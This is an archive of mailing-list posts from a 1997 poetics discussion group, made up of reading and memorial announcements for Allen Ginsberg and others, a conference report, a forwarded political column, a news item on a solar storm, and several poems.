Tue 8 Apr 1997

WORD OF MOUTH PRESENTS

AN AFTERNOON WITH CHARLES BERNSTEIN.

Sunday April 20th, 3:30PM

Admission $3.00. Information: Michael Franco [redacted] or [redacted], [redacted] Location: World Wide Building, artists west second floor, studio #8, 144 moody street, waltham, mass. directions: commuter trains leave n. station at 3:00pm & porter sq. at 3:10pm & arrive in waltham at 3:22pm. (studio is a 3 min walk.) by car from harvard sq. :rt 16 (mt auburn st.) to rt. 20 (main st) to 117 into waltham center . left onto moody st. & turn left just before the bridge parking available . wheel chair accessible .

↑ Index

181. **Maria Damon**
Re: help
Tue 8 Apr 1997

---

speaking of the sacred, for those of you who haven't yet seen jerry's co-edited book The Book, Spiritual Instrument, it's very wonderful. md

At 8:10 PM -0700 4/7/97, Jerry Rothenberg wrote:
>For: Kevin Hehir
>
>The source is Eliade's great book, Shamanism: Archaic Techniques of
>Ecstasy, although I can't recall that he uses the phrase exactly in that
>way. Rather he speaks of shamans mastering techniques of the sacred,
>which does of course (or did for me) suggest the other phrase. The
>excitement in Eliade was that the shamans, as presented therein, were
>also masters & makers & manipulators of language in such a way as
>to suggest that we could think of them as proto-poets, & then ...
> But it was always more complicated than that -- & mysterious --
>& that was what the excitement was about ...
>
>I don't recall the phrase -- or anything like it -- turning up elsewhere.
>But then, who knows?
>
>With all good wishes,
>
>Jerome Rothenberg

↑ Index

182. **Maria Damon**
Re: Boston Area Reading
Tue 8 Apr 1997

---

oh to be in boston
now that bernstein's here...
sorry to miss
it's 5 degrees here in mpls...

At 9:39 AM -0400 4/8/97, Charles Bernstein wrote:
>WORD OF MOUTH PRESENTS
>
>AN AFTERNOON WITH CHARLES BERNSTEIN.
>
>Sunday April 20th, 3:30PM
>

>Admission $3.00.
>Information: Michael Franco [redacted] or [redacted], [redacted]
>Location: World Wide Building, artists west second floor, studio #8, 144
>moody street, waltham, mass. directions: commuter trains leave n. station
>at 3:00pm & porter sq. at 3:10pm & arrive in waltham at 3:22pm. (studio is a
>3 min walk.) by car from harvard sq. :rt 16 (mt auburn st.) to rt. 20 (main
>st) to 117 into waltham center . left onto moody st. & turn left just
>before the bridge parking available . wheel chair accessible .

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183. Maria Damon
XCP: the journal!!!
Tue 8 Apr 1997

---

hey everybody: the premier issue of Mark Nowak's journal CROSS-CULTURAL POETICS is now out, featuring work by Amiri Baraka, Solomon Deressa, Edwin Torres, Lise McLeod (sp?), Forrest Gander, Elizabeth Burns, Diane Glancy, and many others, an essay by me that's an expansion of the paper Alan Golding delivered for me (THANKS ALAN) at Louisville, and a host of book reviews.

for further info, contact MARK NOWAK at
[redacted]

Beset i mean best wishes, md

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184. henry gould
Re: Poetic Briefs
Tue 8 Apr 1997

On Tue, 8 Apr 1997 09:03:06 -0600 Jeff Hansen said:
>
>Hansen, in an interview with a major television network, said, "We
>might not be right, but at least we're funny.....Some of the time."

I'm looking forward to reading, & watching the show too. Was struck by a Ginsberg quote in the paper (or was it on the list?) - "You don't need to be right, just candid." (this may not be exact). It reminded me of a mysterious statement Mandelstam made when asked something like, "what is poetry". He said - "Poetry is the poet's sense of being right." - HG "always right (not), always left (out)"

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185. Sylvester Pollet
Readings
Tue 8 Apr 1997

If anyone's passing through Maine, Leo Connellan will be reading in Orono, Univ. Maine, Thurs. April 10, 7 p.m. 120 Little Hall. Reception follows. Free. On April 24, 7 p.m., Ellsworth Public Library, I'll be reading, with Brian Hubbell, Susand Hand Shetterly, and Philip Booth, in a series of readings to celebrate the centennial of the library and National (fill-in-the-blank) Month. Sylvester

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186. Jeff Hansen
Poetic Briefs
Tue 8 Apr 1997

EXTRA EXTRA EXTRA

READ ALL ABOUT IT

A new, double issue of Poetic Briefs in chapbook form, entitled "Shadows: Selected Dialogues on Poetics" by Mark Wallace and Jefferson Hansen, is hot off the press. Subscribers will receive theirs within a week or two. Any who would like a copy should send a 6x9' envelop with $1.50 postage to Jeff Hansen / 4055 Yosemite Avenue S / St. Louis Park, MN 55416.

Various quotations and paraphrases:

"Life is intercourse between mounds of obese flesh."

The fastest way to Rome is to go in the other direction.

I really think that people on the beach shouldn't swear around children.

"I don't know what I believe."

I am a machine.

Hansen, in an interview with a major television network, said, "We might not be right, but at least we're funny.....Some of the time."

GET YOURS NOW

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187. **Joel Lewis**
Allen Ginsberg
Tue 8 Apr 1997

I spent a chunk of an afternoon speaking to a reporter from the Newark Star-Ledger talking about Allen (I did an anthology of NJ poets a few years back and I seem to be on every reporter's rolodexs). This beatnik/sex revolutionary/guru stuff seems to be the inevitable way the press sees the story. I hope this is not what he'll be remembered for.

I was his student at Naropa in '81 & was friends with him over the last years and was always amazed at his generosity and kindness despite the enormous demands many people put on him. He would tell me at naropa that he wanted to retire and go off to a mountain colorado towrite in peace, but there was another part of him that wanted to be out there. He was much like Sartre -- who used his fame as a way for advocating for his causes and friends. Where would American poetry be now if it where not for Allen's push in the 50's? Although Allen's inability to "get" poets outside his sphere was a source of some humor and consternation at Naropa, Allen did try hard to understand poets like Clark Coolidge and Ron Silliman. As Rexroth once said, he was a radical conservative who made his breakthrough by bringing back the cadences of the Hebrew Bible and Walt Whitman.

I must say that I hadn't looked at his work seriously in a number of years. Reviewing the collected, I'm struck by his innovative short lyrics and his use of numerous forms and that his work kept shifting and changing over the years. He was one of the most self-critical of major poets. I once asked him why he rarely read from Reality Sandwiches. He said: "Oh, I just don't think those poems are that good." The best reading I ever heard him do was in the early 80's at the old Brentanno's Books on 8th St. The reading was undepublicized and the audience was mostly st marks poets. Without harmonium or finger cymbals, etc., he stated "I want to read some new poems" and did just that, in quiet (for Allen) voice

I don't think we'l see another literary figure with as much influence as Allen had. He was the first living poet I was aware of (age 11 -- those evergreen review posters w/ allen as uncle sam) . It's hard to imagine him not around

joel lewis

↑ Index

188. **George Bowering**
Re: detention with a red headed woman
Tue 8 Apr 1997

> *This "subject" from George Bowering refers to a chapter in our collaborative novel, _Piccolo Mondo_, and I am pleased to announce its upcoming publication by New Coachhouse Press, Toronto. Details later, possibly from my co-author. db.*

Actually the press, reinvented by Stan Bevington, Victor Coleman and Rik Simon, old hands at the original Coach House Press, is called Coach House Books now, for legal reasons. Their books are done both on the Net (beautifully---Coach House was the inventor of anything done with computers in book publishing way back) and in artifact form, also beautifully. You can get at their home page via search. Ask for something like Coach House Books.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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189. **amato**
denver conference etc...
Tue 8 Apr 1997

fresh back from denver, to hundreds of messages... some incredibly touching commentary on allen ginsberg, much appreciated by this list member... being in denver, hearing the news of his death (from marjorie) was, well...

"reconcilable (in) differences: the marriage of writers and critics" was a small, friendly conference---i regret, esp. b/c it was small, not having had the occasion to speak more with norman f. and others... seeing marjorie again, meeting chris alexander and linda russo of this list region, and elizabeth franken (not from this list region, but from here in chicago), among the highlights of my time there... and of course seeing the mountains---which i so dearly miss, living now in flatland... perhaps the friendliness of the conference stemmed from it having been put together, in large part, by grad students at du...

gerald graff's keynote, "teaching the conflicts between creators and theorists," didn't do much for me... i tried to indicate the problems i had with graff's presentation, but unfortunately my hand was not called upon... not least of such

problems being that he made no mention at all of the possibilities of *this* medium for crossing institutional boundaries, for consolidating support among different levels of the academic hierarchy... graff himself struck me as, well, a nice guy... but i'm not sure that he really had all that much to add to the creative-critical split (he was by his own account a bit tentative about his talk), albeit i respect his attempt at least to deal with the classroom, with teaching as such... i left his talk wishing he'd spent a bit more time online---seems to me he hasn't, though maybe i'm mistaken... ensuing discussion, provoked in part by marjorie, seemed to surface graff's decision not to discuss specifically literary formations... for my part, i would have mentioned that the academic scene is now entirely disrupted and fractured by job market considerations, that good work is being done in spite of this fact, but that we need to develop alternative structures for negotiating our conflicts and woes...

marjorie's paper, imnsho, was apropos to the conference itself, sifting through the poetic-publishing-cultural implications of kent johnson's probably aka araki yasusada's poetry... marjorie's was a lesson in scholarly thoroughness and insight---not to mention her performance, which was utterly enjoyable... ensuing discussion raised the issue of identity politics and how it functioned in marjorie's paper---a discussion that might be picked up here upon the paper's forthcoming publication (in _the boston review_---right marjorie?)...

as to panels: i very much enjoyed carole maso's reading, and laura mullen's reading... otherwise, i was taken by susannah breslin and lily james talk on "postfeminist cyborgs"... these two women have set up a web site, the postfeminist playground, that looks to be provocative and useful: <http://www.pfplayground.com>... there were of course a few papers that seemed to exploit "can poetry matter" issues (yes, but it must be "real") in the expected ways... not much to say here that hasn't already been said...

as to the "featured" reading, i was struck by poet and alum heather mchugh's capacity for 'reading' her audience (to borrow from my wife kass fleisher, who was also in attendance)... heather came across as a warm and genuine person of real integrity... her work is certainly more traditional, but her performance, her narrative ruminations as such seemed to me to be very much a part of her reading that evening...

kass and i played hookie on sunday (no apologies!) and drove up to lookout mountain, a short jaunt from denver... neither of us had ever visited the buffalo bill museum... it was fun, if a bit hokey, and the view from the top of the mountain, covered in a crystalline white blanket, was invigorating...

in all, i'm not certain whether any critics and writers actually reconciled their differences as a result of this conference, but i DO see the conference itself as symptomatic of, hence contributing to, a general awareness that the writerly

and the critical are more complex constructions than might at one time have been generally acknowledged... perhaps this itself signals a willingness to talk, accompanied by the demise of certain categorical quibbles, among specific sub-sets of (largely academic) writers/critics... if power-laden structures are not so easily dismantled, there is nonetheless great value to getting together... the conference organizers evidently (wisely) will put together a listserv to discuss some of the issues that were raised at the conference... stupid me, i forgot to drop off my email address (!)... if any of you 'out there' have info. on the listserv, please post me backchannel... or maybe here is more appropriate...

in all, i/we had fun... the one structural problem with the conference was that panel sessions were staged with no 'in between' time, back-to-back... three panels ended at ten o'clock and three more began at ten-o'clock, meaning you had to skip out on panels if you wished to shoot the shit (which i did)... in any case, i judge conferences by their ability to nurture new and existing networks, and in such terms, the conference was a success...

best,

joe

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190. Joshua N Schuster
Wieners Celebration
Tue 8 Apr 1997

JOHN WIENERS reads

along with readings and reflections from:

Bob Perelman
Louis Cabri
Joshua Schuster
Jeff Wachs
Rachel Blau DuPlessis
Alan Davies
Charley Shively

--5pm--

This Friday, Apr. 11th
at
The Writers House
3805 Locust Walk
UPenn, Philadelphia

573-writ

and of course everyone is welcome

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191. **luigi**
Re: Nick, are you there?
Tue 8 Apr 1997

> *okay, so i've been shy long enough: what does "backchanneling" mean?*
> *kl, neophyte listserver*

that's where you email your reply to just an individual, rather than to the whole list... it's the polite thing to do if your response is of a personal nature, or otherwise not likely to be of interest to the whole list...

luigi

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192. **Jordan Davis**
Taylor Mead / Tony Medina @ Poetry City
Tue 8 Apr 1997

Friday, April 11, 7 pm
Poetry City (NY)

Taylor Mead

reads
with

Tony Medina

5 Union Square West, 7th Floor

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193. **David Bromige**
Nick Found
Tue 8 Apr 1997

Many thanks to all who posted in with Signor Piombino's number. db

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194. Charles Bernstein
Ginsberg Memorial
Tue 8 Apr 1997

There will be a memorial for Allen Ginsberg this Saturday, April 12, from 12 to 4, at the Poetry Project, St. Mark's Church, Second Avenue at Tenth Street. No details of the program are currently available. If I get more information, I will pass it on.

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195. Maria Damon (Maria Damon)
Re: Allen Ginsberg
Tue 8 Apr 1997

---

i'll be there in spirit

At 11:02 PM 4/8/97, Marjorie Perloff wrote:
>For those in the South Bay area or even north of it!
>
>Maeera Schreiber and Susan Dunn (both on this List) and I are sponsoring,
>with the help of eager undergrads, a Memorial for Allen this Friday (11th)
>at noon at White Plaza (between bookstore and Tressider Union--great
>outdoor space). We plan to have anyone who cares to read a favorite
>Ginsberg poem or say whatever s/he has to say.
>
>If you are coming from outside the campus (drive #280 to Alpine, right on
>Alpine to Junipero Serra, right on Junipero Serra to Campus Drive
>East--left on Campus drive into the campus; left on Mayfield to big
>parking lot from which you can almost see and probably hear activity in
>White Plaza). If you want to read, please call Ranita at the English
>Dept, [redacted]--so she can put your name on the sign-up sheet we have.
>
>It will be quite informal but we did want to do something.
>
>Best wishes,
>Marjorie Perloff

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196. Maria Damon (Maria Damon)

Re: wind on the way

Tue 8 Apr 1997

---

thanks maz, i love this kind of info-thing; i feel compelled to ask the rhetorical question, though: why is this kind of info welcomed, along w/ silly jokes etc, on the poetix list, but when someone wants to talk about pound's or someone else's politics we're scolded that it "has nothing to do with poetix?" seems to me there's some very specific fears afoot that have nothing (and, of course, every-thing) to do with poetry.

At 10:12 AM 4/9/97, [redacted] wrote:
> WASHINGTON (Reuter) - A large storm on the sun's surface probably will hit
>the earth's magnetic field Wednesday with the potential to disrupt
>communications satellites and power grids, NASA said.
>
> ``It's clearly a big event,'' said Don Savage, a spokesman for NASA's
>Office of Space Science. A large solar flare was blamed for the destruction
>of a broadcast satellite in January.
>
> Savage said matter blown off the face of the sun -- essentially a stream
>of ionized particles -- was expected to strike a ``glancing blow'' to the
>magnetic field that shields the Earth more than 100 miles from its surface.
>
> He said those who operate sensitive satellites and power grids had been
>warned to take unspecified steps to safeguard their operations through an
>established early-warning system that reports ``space weather.''
>
> The solar storm was detected a couple of days ago by the Solar and
>Heliospheric Observatory, a satellite that NASA and the European Space
Agency
>launched in 1995 to keep a constant eye on the sun's surface.
>
> Savage said scientists still were calculating the precise arrival time of
>the solar impact, which was likely to produce a shimmering curtain of
>multi-colored light called an aurora over the North and South poles.

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197. Maria Damon
Re: Ginsberg Memorial
Tue 8 Apr 1997

At 7:07 PM -0400 4/8/97, Charles Bernstein wrote:
>There will be a memorial for Allen Ginsberg this Saturday, April 12, from 12
>to 4, at the Poetry Project, St. Mark's Church, Second Avenue at Tenth
>Street. No details of the program are currently available. If I get more
>information, I will pass it on.

and could we get lots of detailed reviews, those of us who can't be there but are in serious mourning, that'd be great, thanks. i had no idea i'd feel so -- incapacitated, for lack of a better word --by this turn of events. thanks--md

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198. Alan Jen Sondheim
103
Tue 8 Apr 1997

I am in love with Language,
Mouthing's all I have
That inherently forms of Gauge
A measure of Soul or Salve

The shadowless Norm or Verb
Spatters the Landscape of motion
Where Drives inscribe the Kerb
Of Name and Revelation

Describing further creates
A Bind of Attributes
Transformed by Men and Fates
Inscribed through Institutes

Let Nothing hurtle towards
Hurdles across the Sound
Constrained by mouthed Retorts
Quicksand beneath the Ground

Let Nothing gyre and turn
Across the Platitudes
Whole Worlds on fire burn
In wayward Latitudes

Mouthing's Telos cries
And Clara constitutes

Ships and countermands
Inscribing Institutes

And Clara constitutes
Black Freighters, real Beauts

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199. Maria Damon (Maria Damon)
Poetic Offspring
Wed 9 Apr 1997

tomorrow nite, thurs at 7, at the weisman museum of art at the U of minnesota, mpls, john mowitt, myself, joseph towns, edmond chow, anna reckin, carla homeister and maria (m.j.) fitzgerald will participate in a program of poetry designed to accompany the "critique of pure abstraction" exhibit currently at the weisman. mowitt will conceptualize abstraction/modernity, talk about mallarme, ponge, and mention language poets; i will talk about ginsberg and the Beats very dramatic rejection of abstraction, though through friendships and shared worlds there is an overlap or at least adjacency with certain abstract expressionist circles (ohara, etc), and i may read some bob kaufman poetry; the others will read from their own work.

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200. Gabrielle Welford
CBS SPEWS - Latest Article by Mumia Abu-Jamal (fwd)
Wed 9 Apr 1997

--------- Begin forwarded message ----------
From: [redacted]

CBS SPEWS

Written March 29, 1997
(c) 1997 Mumia Abu-Jamal
All Rights Reserved

All propaganda has to be popular and Ins to adapt its spiritual level to the
perception of the least intelligent of those towards whom it intends to direct itself.
--Adolf Hider, Mein Kampf (1933)

In its late March 1997 Broadcast of the CBS News Magazine, "48 Hours," the network hit a deadly and diabolical low with its piece 'on the Christian

Community in Woodcrest, NY known as the Bruderhof (German for place, or home, of Brothers).

Using slick editing techniques, half-lies, and most damaging, juxtaposition with other unrelated stories, "48 Hour" projected the unmistakable and dangerous assertion that the Bruderhof is a cult. This projection took place in a particularly insidious in the same program that featured an opening segment on the mass suicide of 39 members of a group calling itself "Heaven's Gate," in a place called Rancho Santa Fe, California.

"Heaven's Gate," which saw itself as millenialist, and inheritors of a new evolutionary entity; perceived their human bodies as encumbrances, as burdens that had to be shed, and when the Hale - Bopp comet came near, they saw it as a sign to "shed their flesh containers." To say the very least, Heaven's Gate-seekers were folks who were immensely alienated from their bodies (according to press accounts the males were Voluntarily castrated), and neither contacted, nor created, families.

Taking the quasi-similarities that Heaven's Graters were mostly white, well educated, computer-savvy and remote from general society' and that the Bruderhof shared similar attributes, "48 Hours" launched into a "guilt by similarity,' program, and in the minds of millions created the dangerous notion that those mere similarities amounted to equivalencies arid therefore, one's a cult, so the other must be also.

How can a community of thousands of fathers, mothers, farmers and carpenters, who heartily embrace the sacredness of all life, be so cavalierly equated with a little-known, virtually asexual group of 39 people like "Heaven's Gate?"

The smart answer, of course, is that a powerful entity like CBS can do it because they can. They are the media, and they do what they want to do daily.

So the question becomes, 'Why?"

The answer is the Bruderhof's most recent efforts on behalf of life, justice
and freedom, most notably on behalf of the writer, and his spiritual family,
the revolutionary MOVE organization. It lies in their efforts against the
U.S. Death Penalty. It lies in their efforts to practice a Christianity that
seeks social justice and is unabashedly critical of white supremacy. It lies
in their expression of community.

Why then would a show scheduled for April, one which was taped months ago,
be rushed on the air opposite the "Heaven's Gate" suicides?

Part of it is the unerring lust for the sensational that is at the heart of American media, and much is the interests they represent -- that of the established: the State.

The doyen of CBS News, Edward R. Murrow once noted, "Unless we get off our fat surpluses and recognize that television in the main is being used to distract, delude, amuse and insulate us, then television and those who finance it, those who look at it and those who work at it, may see a totally different picture too late."

Well, Ed, your colleagues at your old network (CBS) may now intone, "too late," for they have fired an unfair broadside at a group, labeled them without just cause a "cult" that "bears close scrutiny", and endangered them by aligning them with a group that they hold virtually nothing of value in common.

For; by utilizing one word, "cult", and putting them in the programmed context of the Heaven's Gaters, they project them in the public mind as other, weird, and dangerous, if not suicidal.

In America, as MOVE's example nakedly reflects, people projected as Other can be treated far differently (and even negatively) than so-called "normal" folks.

With the arrogance of the media's power of projection, "48 Hours" suggests
the Bruderhof held a young woman as a virtual prisoner, neglecting to inform
viewers that their youngsters go to high schools and colleges on the outside
(even around the world) every day.

Does that sound like hostages?

Americans are widely and justly suspicious and distrustful of the nation's
mass media. They view it as a tool of the wealthy and the, a protector of
the status qno. and a fermenter of unjustified fear.

CBS did nothing to dissuade them of that view.

MAJ

--------- End forwarded message ----------

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201. **David Bromige**
The Don Allan Anthology
Wed 9 Apr 1997

Come on, George, the allusion was to the Don Allan Anthology, you know, the one with John Ashberry in it, and Robert Creely, and Charles Olsen, and Denise Leverton. bd.

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202. **jdhollo**
no digests for 2 days?
Wed 9 Apr 1997

Hi there--Loss--Joel--?

Have not received my listserv digest for either yesterday or today--

What's happening?

Best,

Anselm

↑ Index

203. **Maria Damon (Maria Damon)**
Re: Poetic Offspring
Wed 9 Apr 1997

---

well it's not really a formal thing, we're not spozed to take more than 10 minutes apiece so i doubt there'll be actual papers. if ur in the eighborhodd tho drop by soory abt spelling.

At 3:02 PM 4/9/97, KENT JOHNSON wrote:
>The papers sound very intrersting. Would copies be available?
>
>> Date sent: Wed, 9 Apr 1997 14:22:06 +1000
>> Send reply to: UB Poetics discussion group
>><[redacted]>
>> From: "Maria Damon (Maria Damon)" <[redacted]>
>> Subject: Poetic Offspring
>> To: [redacted]
>
>> tomorrow nite, thurs at 7, at the weisman museum of art at the U of
>> minnesota, mpls, john mowitt, myself, joseph towns, edmond chow, anna
>> reckin, carla homeister and maria (m.j.) fitzgerald will participate in a
>> program of poetry designed to accompany the "critique of pure abstraction"

>> exhibit currently at the weisman. mowitt will conceptualize
>> abstraction/modernity, talk about mallarme, ponge, and mention language
>> poets; i will talk about ginsberg and the Beats very dramatic rejection of
>> abstraction, though through friendships and shared worlds there is an
>> overlap or at least adjacency with certain abstract expressionist circles
>> (ohara, etc), and i may read some bob kaufman poetry; the others will read
>> from their own work.
>>

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204. Marjorie Perloff
Re: Allen Ginsberg
Wed 9 Apr 1997

For those in the South Bay area or even north of it!

Maeera Schreiber and Susan Dunn (both on this List) and I are sponsoring, with the help of eager undergrads, a Memorial for Allen this Friday (11th) at noon at White Plaza (between bookstore and Tressider Union--great outdoor space). We plan to have anyone who cares to read a favorite Ginsberg poem or say whatever s/he has to say.

If you are coming from outside the campus (drive #280 to Alpine, right on Alpine to Junipero Serra, right on Junipero Serra to Campus Drive East--left on Campus drive into the campus; left on Mayfield to big parking lot from which you can almost see and probably hear activity in White Plaza). If you want to read, please call Ranita at the English Dept, [redacted]--so she can put your name on the sign-up sheet we have.

It will be quite informal but we did want to do something.

Best wishes,
Marjorie Perloff

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205. Charles Alexander
come on down
Wed 9 Apr 1997

Since Maria Damon did mention that it was 5 degrees in Minnesota last night, and since it did get into the upper 70's here in Tucson today, I thought I'd mention that if anyone wants to hop on a plane and fly down this weekend (or drive down or train down or bus down), they might see:

Friday, April 11
5pm until 8pm
Chax Press & Cynthia Miller Open Studio
101 W. Sixth St., Tucson
Books & Paintings & Prints & Broadsides on Display & Available for Purchase
After the Open Studio will be live music & dancing, with music by Rainer, followed by Tony & The Torpedos
(I know that Rainer is a really marvelous blues guitarist & singer/songwriter; I know nothing about Tony)

Saturday, April 12
7pm
Karen Mac Cormack & Steve McCaffery
Poetry Reading
Dinnerware Gallery
135 E. Congress St., Tucson
Reception to follow the reading
No charge, but donations gladly accepted
reading sponsored by Chax Press & POG

& looking ahead to May, when it may be somewhere between 80 & 90 degrees here, unless we get a hot spell

Saturday, May 17
5pm
David Bromige
Poetry Reading
Dinnerware Gallery
135 E. Congress St., Tucson
Reception to follow the reading
Sponsored by POG
David Bromige will also be giving a workshop on the same weekend

charles alexander / chax press / [redacted]

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206. KENT JOHNSON
Re: Poetic Offspring
Wed 9 Apr 1997

The papers sound very intrersting. Would copies be available?

> *Date sent: Wed, 9 Apr 1997 14:22:06 +1000*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: "Maria Damon (Maria Damon)" <[redacted]>*

> *Subject: Poetic Offspring*
> *To:* [redacted]
>
> *tomorrow nite, thurs at 7, at the weisman museum of art at the U of minnesota, mpls, john mowitt, myself, joseph towns, edmond chow, anna reckin, carla homeister and maria (m.j.) fitzgerald will participate in a program of poetry designed to accompany the "critique of pure abstraction" exhibit currently at the weisman. mowitt will conceptualize abstraction/modernity, talk about mallarme, ponge, and mention language poets; i will talk about ginsberg and the Beats very dramatic rejection of abstraction, though through friendships and shared worlds there is an overlap or at least adjacency with certain abstract expressionist circles (ohara, etc), and i may read some bob kaufman poetry; the others will read from their own work.*

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207. **maz881**
wind on the way
Wed 9 Apr 1997

WASHINGTON (Reuter) - A large storm on the sun's surface probably will hit the earth's magnetic field Wednesday with the potential to disrupt communications satellites and power grids, NASA said.

``It's clearly a big event,'' said Don Savage, a spokesman for NASA's Office of Space Science. A large solar flare was blamed for the destruction of a broadcast satellite in January.

Savage said matter blown off the face of the sun -- essentially a stream of ionized particles -- was expected to strike a ``glancing blow'' to the magnetic field that shields the Earth more than 100 miles from its surface.

He said those who operate sensitive satellites and power grids had been warned to take unspecified steps to safeguard their operations through an established early-warning system that reports ``space weather.''

The solar storm was detected a couple of days ago by the Solar and Heliospheric Observatory, a satellite that NASA and the European Space Agency launched in 1995 to keep a constant eye on the sun's surface.

Savage said scientists still were calculating the precise arrival time of the solar impact, which was likely to produce a shimmering curtain of multi-colored light called an aurora over the North and South poles.

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208. William Burmeister Prod

Re: wind on the way

Wed 9 Apr 1997

> *WASHINGTON (Reuter) - A large storm on the sun's surface probably will hit the earth's magnetic field Wednesday with the potential to disrupt communications satellites and power grids, NASA said.*
>
> *``It's clearly a big event,'' said Don Savage, a spokesman for NASA's Office of Space Science. A large solar flare was blamed for the destruction of a broadcast satellite in January.*
>
> *Savage said matter blown off the face of the sun -- essentially a stream of ionized particles -- was expected to strike a ``glancing blow'' to the magnetic field that shields the Earth more than 100 miles from its surface.*
>
> *He said those who operate sensitive satellites and power grids had been warned to take unspecified steps to safeguard their operations through an established early-warning system that reports ``space weather.''*
>
> *The solar storm was detected a couple of days ago by the Solar and Heliospheric Observatory, a satellite that NASA and the European Space Agency launched in 1995 to keep a constant eye on the sun's surface.*
>
> *Savage said scientists still were calculating the precise arrival time of the solar impact, which was likely to produce a shimmering curtain of multi-colored light called an aurora over the North and South poles.*

storm disrupt potential grids

event spokesman flare for

broadcast Savage matter blows strike

shields fields stream unspecified space

sensitive grid reports sun's eye

shimmering arrival precise pole impact.

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209. CHRIS MANN

(no subject)

Wed 9 Apr 1997

---

for those who want to know, Chris Mann is at The Synagogue Space 108 E 1 7.30 Friday

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210. **dbkk**
The Stranger gets stranger
Wed 9 Apr 1997

For those of you in the Pacific Northwest, check out this week's lit section of Seattle's free weekly The Stranger--it contains articles by both db (on fountain pens) and kk (on John Wieners)--and lots of other interesting sounding stuff. Books editor Matthew Stadler is taking this lit section into new dimensions--i.e., the 90s.

Dodie

↑ Index

211. **robert zamsky**
Message to Maria D.
Wed 9 Apr 1997

Sorry, for posting this to the entire list, but didn't know how else to get a message to maria d.

Maria -- I don't know if you remember, but a few months ago I sent you a paper about Aime Cesaire that I had presented at a conference in Minneapolis. I was wondering if you'd received the paper, if you'd had time to read it, and if you found it at all interesting. I'm in a bit of a literary limbo right now, living in Nebraska, and relish any kind of intellectual stimulation I can gather.

I'll be moving to Buffalo in May to start my PhD program in English in the fall. While i'm in e-limbo, i can be reached at the following address:

[redacted]

Thanks for your time.

Robert Zamsky

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212. **David Bromige**
Will's inches of ink
Wed 9 Apr 1997

Gwyn: I don't remember AG as "overweight". However, he shared those other characteristics you list, with Garcia (plus which, they were both diabetic, an affliction, however,* not confined to prophets of the Body Paradise. But I think you're correct, they were 60s charismatics who retained their power to move people by the thousands (esp. people who know they are alienated from themselves, and know some of the causes, like "free market economies"). Obviously,

the powers that be have given considerable attention to preventing any repeat of 60's communitas-in-insurgency, making sure no charismatic leaders can unite opposition to the destruction of the world by money. To acknowledge Ginsberg as heroic can only encourage others to walk in his steps. George Will is part of money's calculation to maintain repression. Dirty work, but he has it to do. Support your local PBS radio! db

* cris cheek : are these 'honky commas'? Blame Haberdashers' Aske's! thanks for yr latest posting, mate.

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213. Carl Lynden Peters
Re: wind on the way
Wed 9 Apr 1997

> *thanks maz, i love this kind of info-thing; i feel compelled to ask the rhetorical question, though: why is this kind of info welcomed, along w/ silly jokes etc, on the poetix list, but when someone wants to talk about pound's or someone else's politics we're scolded that it "has nothing to do with poetix?" seems to me there's some very specific fears afoot that have nothing (and, of course, everything) to do with poetry.*

maria,

people here at sfu (save for a guy named george bowering, or is it george bowering) really dump on eliot. perhaps it's because there's a philosophical demon in works that are modern, and we have to know abt it, and not just post-modern it out of existence.

c.

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214. LYNES- KATHERINE
Re: Nick, are you there?
Wed 9 Apr 1997

okay, so i've been shy long enough: what does "backchanneling" mean? kl, neophyte listserver

David Bromige wrote:

> *Calling Nick Piombino . . . Nick, I t h i n k you're on the List; hope so, I've mislaid your e-ddress. Write me!*
>
> *(Apologies for back channeling in public, y'all) db*

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215. **Mark Weiss**
Re: Nick, are you there?
Wed 9 Apr 1997

Courtesy demands that anything salacious, however, should be sent to the whole list.
At 03:56 PM 4/8/97 -0600, you wrote:
>>okay, so i've been shy long enough: what does "backchanneling" mean?
>> kl, neophyte listserver
>>
>
>that's where you email your reply to just an individual, rather than
>to the whole list... it's the polite thing to do if your response is
>of a personal nature, or otherwise not likely to be of interest to the
>whole list...
>
>luigi
>
>

↑ Index

216. **linda v. russo**
Allen Ginsburg
Wed 9 Apr 1997

> *. . . But we see what life he continues to*
> *have as anecdote and eulogy flood in; and it was never clearer that he*
> *belongs to the ages. . .*

I was going to refrain from sharing my Ginsburg story,
as it is wednesday already -- but I'm appreciating &
enjoying & admiring the pileup -- accrued while I was at the
DU conference -- which I am just now in the thick of.

& since i shared a stage with AG -- here goes:
about 5 years he read at the Boston Public
Library -- I was one of the last to slip through
the door & was being graciously ordered to leave by
institutional security musclemen because there were
no seats & i was refusing to leave because i was just
this one body -- how could i break a fire code?
-- the floor in the auditorium does not count as a seat --
I could join the others upstairs and watch him
televised! --There were, however, a few unoccupied seats

on the stage & AG invited me to take one. I was psyched
of course at the time, i had the best seat in the house --
but it wasn't until reading what listservefolks have to say that
I realize very few *famous* people would've done that --
would've even thought to do that. -- l.
--
linda v. russo
[redacted]

↑ Index

217. P.Standard Schaefer
C.O.N.S.
Wed 9 Apr 1997

To Nick Piombino, Steve Carl, Avery Burns and others who have asked/been asked:

THE COLLEGE OF NEGLECTED SCIENCE (In conjunction with Ribot) is hosting a conference on History (a literary conference). May 2nd and May 3rd on Catalina Island.

The conference is open to everyone.

Discussion Topics:

Friday 3:30 pm FORM-INFORM OR DEFORM
moderator: Dennis Phillips
Saturday 10:00 am HISTORY AND POLITICS:
RE-EVALAUATING THE READER
moderator: Paul Vangelisti
Saturday 1:30 pm POETRY AND BEAUTY:
TRANSGRESSION OR ACCOMODATION
Saturday 4:00 p.m CLOSING
readings and art viewing on history

Discussions, poems, papers will be published in issue #6 of Ribot (pronounced ree-bow).

Anyone interested in attending should contact The Catalina Canyon Resort at [redacted] A.S.A.P. to reserve a room. Rooms are $89 per night, two persons per room. Deposit is refundable in 72 hours advance. Ferry tickets need also be purchased to reach Catalina.

All questions can be handled by Paul Vangelisti [redacted].

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218. Michael Boughn
Re: wind on the way
Wed 9 Apr 1997

> *thanks maz, i love this kind of info-thing; i feel compelled to ask the rhetorical question, though: why is this kind of info welcomed, along w/ silly jokes etc, on the poetix list, but when someone wants to talk about pound's or someone else's politics we're scolded that it "has nothing to do with poetix?" seems to me there's some very specific fears afoot that have nothing (and, of course, everything) to do with poetry.*

